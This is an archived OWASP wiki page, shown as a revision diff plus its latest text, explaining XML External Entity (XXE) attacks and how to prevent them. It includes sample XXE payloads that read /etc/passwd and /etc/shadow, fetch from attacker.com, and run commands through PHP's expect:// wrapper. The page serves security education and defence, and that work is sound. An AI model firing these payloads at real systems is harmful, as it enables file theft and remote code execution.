This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Difference between revisions of "XML External Entity (XXE) Processing"

From OWASP
Jump to: navigation, search
(.NET 4.0)
m (Disclosing /etc/passwd or other targeted files: remove extra space)
 
(10 intermediate revisions by 4 users not shown)
Line 6: Line 6:
 
==Description==
 
==Description==
  
An <i>XML External Entity</i> attack is a type of attack against an application that parses XML input. This attack occurs when <b>XML input containing a reference to an external entity is processed by a weakly configured XML parser</b>. This attack may lead to the disclosure of confidential data, denial of service, port scanning from the perspective of the machine where the parser is located, and other system impacts.
+
An <i>XML External Entity</i> attack is a type of attack against an application that parses XML input. This attack occurs when <b>XML input containing a reference to an external entity is processed by a weakly configured XML parser</b>. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
  
The [http://www.w3.org/TR/REC-xml/ XML 1.0 standard] defines the structure of an XML document. The standard defines a concept called an entity, which is a storage unit of some type. There exists a specific type of entity, an [http://www.w3.org/TR/REC-xml/#sec-external-ent external general parsed entity] often shortened to an '''external entity''', that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application.
+
The [http://www.w3.org/TR/REC-xml/ XML 1.0 standard] defines the structure of an XML document. The standard defines a concept called an entity, which is a storage unit of some type. There are a few different types of entities, [http://www.w3.org/TR/REC-xml/#sec-external-ent external general/parameter parsed entity] often shortened to '''external entity''', that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application. Similar attack vectors apply the usage of external DTDs, external stylesheets, external schemas, etc. which, when included, allow similar external resource inclusion style attacks.
  
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.
+
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests or launching a [[CSRF]] attack to any unprotected internal services. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.
 +
 
 +
Note that the application does not need to explicitly return the response to the attacker for it to be vulnerable to information disclosures. An attacker can leverage DNS information to exfiltrate data through subdomain names to a DNS server that he/she controls.
  
 
==Risk Factors==
 
==Risk Factors==
Line 26: Line 28:
  
 
  '''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
 
  '''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [   
+
  <!DOCTYPE foo [   
  <!ELEMENT foo ANY >
+
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo></nowiki>'''
+
  <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo></nowiki>'''
  
===Disclosing /etc/passwd or other targeted files===
+
==Remote Code Execution==
 +
 +
If fortune is on our side, and the PHP "expect" module is loaded, we can get RCE. Let’s modify the payload
  
  '''<nowiki>  <?xml version="1.0" encoding="ISO-8859-1"?>
+
  '''<?xml version="1.0" encoding="ISO-8859-1"?>'''
  <!DOCTYPE foo [
+
  ''' <!DOCTYPE foo [ <!ELEMENT foo ANY >'''
  <!ELEMENT foo ANY >
+
'''  <!ENTITY xxe SYSTEM "expect://id" >]>'''
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
+
  '''  <creds>'''
 +
  '''      <user>&xxe;</user>'''
 +
  '''      <pass>mypass</pass>'''
 +
  '''  </creds>'''
  
<?xml version="1.0" encoding="ISO-8859-1"?>
+
===Disclosing /etc/passwd or other targeted files===
<!DOCTYPE foo [ 
 
  <!ELEMENT foo ANY >
 
  <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
 
  
  <?xml version="1.0" encoding="ISO-8859-1"?>
+
  ''' <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [   
+
  <!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
+
    <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
+
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
 
+
   
<?xml version="1.0" encoding="ISO-8859-1"?>
+
  <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [   
+
  <!DOCTYPE foo [   
  <!ELEMENT foo ANY >
+
    <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo></nowiki>'''
+
    <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
 +
 +
  <?xml version="1.0" encoding="ISO-8859-1"?>
 +
  <!DOCTYPE foo [ 
 +
    <!ELEMENT foo ANY >
 +
    <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
 +
 +
  <?xml version="1.0" encoding="ISO-8859-1"?>
 +
  <!DOCTYPE foo [   
 +
    <!ELEMENT foo ANY >
 +
    <!ENTITY xxe SYSTEM "<nowiki>http://www.attacker.com/text.txt</nowiki>" >]><foo>&xxe;</foo>'''
  
 
==Related [[Attacks]]==
 
==Related [[Attacks]]==
Line 65: Line 79:
 
Since the whole XML document is communicated from an untrusted client, it's not usually possible to selectively [[Input Validation|validate]] or escape tainted data within the system identifier in the DTD. Therefore, the XML processor should be configured to use a local static DTD and disallow any declared DTD included in the XML document.
 
Since the whole XML document is communicated from an untrusted client, it's not usually possible to selectively [[Input Validation|validate]] or escape tainted data within the system identifier in the DTD. Therefore, the XML processor should be configured to use a local static DTD and disallow any declared DTD included in the XML document.
  
Testing ought to occur with specific implementations for any controls documented below.
+
Detailed guidance on how to disable XXE processing, or otherwise defend against XXE attacks is presented in the [[XML External Entity (XXE) Prevention Cheat Sheet]].
 
 
===C/C++===
 
 
 
====libxml2====
 
 
 
The Enum [http://xmlsoft.org/html/libxml-parser.html#xmlParserOption xmlParserOption] should not have the following options defined:
 
 
 
* XML_PARSE_NOENT: Expands entities and substitutes them with replacement text
 
* XML_PARSE_DTDLOAD: Load the external DTD
 
 
 
Note: Per: https://mail.gnome.org/archives/xml/2012-October/msg00045.html, starting with libxml2 version 2.9, XXE has been disabled by default as committed by the following patch: http://git.gnome.org/browse/libxml2/commit/?id=4629ee02ac649c27f9c0cf98ba017c6b5526070f.
 
 
 
===Java===
 
 
 
Java applications using XML libraries are particularly vulnerable to XXE because the default settings for most Java XML parsers is to have XXE enabled. To use these parsers safely, you have to explicitly disable XXE in the parser you use. The following describes how to disable XXE in the most commonly used XML parsers for Java.
 
 
 
====JAXP DocumentBuilderFactory and SAXParserFactory====
 
 
 
Both DocumentBuilderFactory and SAXParserFactory XML Parsers can be configured using the same techniques to protect them against XXE. Only the DocumentBuilderFactory example is presented here. The JAXP DocumentBuilderFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/DocumentBuilderFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. The features can either be set on the factory or the underlying XMLReader [http://docs.oracle.com/javase/7/docs/api/org/xml/sax/XMLReader.html#setFeature%28java.lang.String,%20boolean%29 setFeature] method. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.
 
 
 
For a syntax highlighted code snippet for DocumentBuilderFactory, click [https://gist.github.com/Prandium/dee14ea650ff7900f2c0 here].
 
 
 
For a syntax highlighted code snippet for SAXParserFactory, click [https://gist.github.com/asudhakar02/45e2e6fd8bcdfb4bc3b2 here].
 
 
 
'''<nowiki>import javax.xml.parsers.DocumentBuilderFactory;
 
import javax.xml.parsers.ParserConfigurationException; // catching unsupported features
 
...
 
 
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
 
    try {
 
      // This is the PRIMARY defense. If DTDs (doctypes) are disallowed, almost all XML entity attacks are prevented
 
      // Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl
 
      String FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
 
      dbf.setFeature(FEATURE, true);
 
 
 
      // If you can't completely disable DTDs, then at least do the following:
 
      // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities
 
      // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities
 
      FEATURE = "http://xml.org/sax/features/external-general-entities";
 
      dbf.setFeature(FEATURE, false);
 
 
 
      // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities
 
      // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities
 
      FEATURE = "http://xml.org/sax/features/external-parameter-entities";
 
      dbf.setFeature(FEATURE, false);
 
 
 
      // and these as well, per Timothy Morgan's 2014 paper: "XML Schema, DTD, and Entity Attacks" (see reference below)
 
      dbf.setXIncludeAware(false);
 
      dbf.setExpandEntityReferences(false);
 
 
      // And, per Timothy Morgan: "If for some reason support for inline DOCTYPEs are a requirement, then
 
      // ensure the entity settings are disabled (as shown above) and beware that SSRF attacks
 
      // (http://cwe.mitre.org/data/definitions/918.html) and denial
 
      // of service attacks (such as billion laughs or decompression bombs via "jar:") are a risk."
 
 
 
      // remaining parser logic
 
      ...
 
 
        catch (ParserConfigurationException e) {
 
            // This should catch a failed setFeature feature
 
            logger.info("ParserConfigurationException was thrown. The feature '" +
 
                        FEATURE +
 
                        "' is probably not supported by your XML processor.");
 
            ...
 
        }
 
        catch (SAXException e) {
 
            // On Apache, this should be thrown when disallowing DOCTYPE
 
            logger.warning("A DOCTYPE was passed into the XML document");
 
            ...
 
        }
 
        catch (IOException e) {
 
            // XXE that points to a file that doesn't exist
 
            logger.error("IOException occurred, XXE may still possible: " + e.getMessage());
 
            ...
 
        }</nowiki>'''
 
 
 
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:
 
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to <code>false</code>.
 
* Do not include parameter entities by setting [http://xerces.apache.org/xerces-j/features.html#external-parameter-entities this feature] to <code>false</code>.
 
 
 
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:
 
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to <code>true</code>.
 
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities  this feature] to <code>false</code>.
 
* Do not include parameter entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities  this feature] to <code>false</code>.
 
 
 
====StAX and XMLInputFactory====
 
 
 
[http://en.wikipedia.org/wiki/StAX StAX] parsers such as [http://docs.oracle.com/javase/7/docs/api/javax/xml/stream/XMLInputFactory.html XMLInputFactory] allow various properties and features to be set.
 
 
 
To protect a Java XMLInputFactory from XXE, do this:
 
 
 
* xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory
 
 
 
===.NET===
 
 
 
====.NET ====
 
 
 
The following information for .NET is a direct quote from this great article on how to prevent XXE and XML Denial of Service in .NET: http://msdn.microsoft.com/en-us/magazine/ee335713.aspx.
 
 
 
"In the .NET Framework, you can prevent XmlReader from resolving external entities while still allowing it to resolve inline entities by setting the XmlResolver property of XmlReaderSettings to null."
 
 
 
settings.XmlResolver = null;
 
 
 
===iOS===
 
 
 
====libxml2====
 
 
 
iOS includes the C/C++ libxml2 library described above, so that guidance applies if you are using libxml2 directly. However, the version of libxml2 provided up through iOS6 is prior to version 2.9 of libxml2 (which protects against XXE by default).
 
 
 
====NSXMLDocument====
 
 
 
iOS also provides an NSXMLDocument type, which is built on top of libxml2. However, NSXMLDocument provides some additional protections against XXE that aren't available in libxml2 directly. Per the 'NSXMLDocument External Entity Restriction API' section of: http://developer.apple.com/library/ios/#releasenotes/Foundation/RN-Foundation-iOS/Foundation_iOS5.html:
 
 
 
* iOS4 and earlier: All external entities are loaded by default.
 
 
 
* iOS5 and later: Only entities that don't require network access are loaded. (which is safer)
 
 
 
However, to completely disable XXE in an NSXMLDocument in any version of iOS you simply specify NSXMLNodeLoadExternalEntitiesNever when creating the NSXMLDocument.
 
 
 
===PHP===
 
 
 
Per [http://php.net/manual/en/function.libxml-disable-entity-loader.php the PHP documentation], the following should be set when using the default PHP XML parser in order to prevent XXE:
 
 
 
libxml_disable_entity_loader(true);
 
 
 
A description of how to abuse this in PHP is presented in a good [http://sensepost.com/blog/10178.html SensePost article] describing a cool PHP based XXE vulnerability that was fixed in Facebook.
 
  
 
==References==
 
==References==
  
 +
* OWASP [[XML External Entity (XXE) Prevention Cheat Sheet]]
 
* [http://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf Timothy Morgan's 2014 Paper: XML Schema, DTD, and Entity Attacks - A Compendium of Known Techniques]
 
* [http://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf Timothy Morgan's 2014 Paper: XML Schema, DTD, and Entity Attacks - A Compendium of Known Techniques]
 
* [http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf Precursor presentation of above paper - at OWASP AppSec USA 2013]
 
* [http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf Precursor presentation of above paper - at OWASP AppSec USA 2013]
Line 204: Line 93:
 
* [http://msdn.microsoft.com/en-us/magazine/ee335713.aspx XML Denial of Service Attacks and Defenses (in .NET)]
 
* [http://msdn.microsoft.com/en-us/magazine/ee335713.aspx XML Denial of Service Attacks and Defenses (in .NET)]
 
* [http://www.securityfocus.com/archive/1/297714/2002-10-27/2002-11-02/0 Early (2002) BugTraq Article on XXE]
 
* [http://www.securityfocus.com/archive/1/297714/2002-10-27/2002-11-02/0 Early (2002) BugTraq Article on XXE]
 
  
 
[[Category:API_Abuse]]
 
[[Category:API_Abuse]]

Latest revision as of 01:46, 15 October 2017

This is a Vulnerability. To view all vulnerabilities, please see the Vulnerability Category page.

Last revision (mm/dd/yy): 10/15/2017

Vulnerabilities Table of Contents

Description

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

The XML 1.0 standard defines the structure of an XML document. The standard defines a concept called an entity, which is a storage unit of some type. There are a few different types of entities, external general/parameter parsed entity often shortened to external entity, that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application. Similar attack vectors apply the usage of external DTDs, external stylesheets, external schemas, etc. which, when included, allow similar external resource inclusion style attacks.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests or launching a CSRF attack to any unprotected internal services. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.

Note that the application does not need to explicitly return the response to the attacker for it to be vulnerable to information disclosures. An attacker can leverage DNS information to exfiltrate data through subdomain names to a DNS server that he/she controls.

Risk Factors

  • The application parses XML documents.
  • Tainted data is allowed within the system identifier portion of the entity, within the document type declaration (DTD).
  • The XML processor is configured to validate and process the DTD.
  • The XML processor is configured to resolve external entities within the DTD.

Examples

The examples below are from Testing for XML Injection (OWASP-DV-008).

Accessing a local resource that may not return

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>

Remote Code Execution

If fortune is on our side, and the PHP "expect" module is loaded, we can get RCE. Let’s modify the payload

<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [ <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "expect://id" >]>
    <creds>
       <user>&xxe;</user>
       <pass>mypass</pass>
    </creds>

Disclosing /etc/passwd or other targeted files

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

Related Attacks

Related Vulnerabilities

Related Controls

Since the whole XML document is communicated from an untrusted client, it's not usually possible to selectively validate or escape tainted data within the system identifier in the DTD. Therefore, the XML processor should be configured to use a local static DTD and disallow any declared DTD included in the XML document.

Detailed guidance on how to disable XXE processing, or otherwise defend against XXE attacks is presented in the XML External Entity (XXE) Prevention Cheat Sheet.

References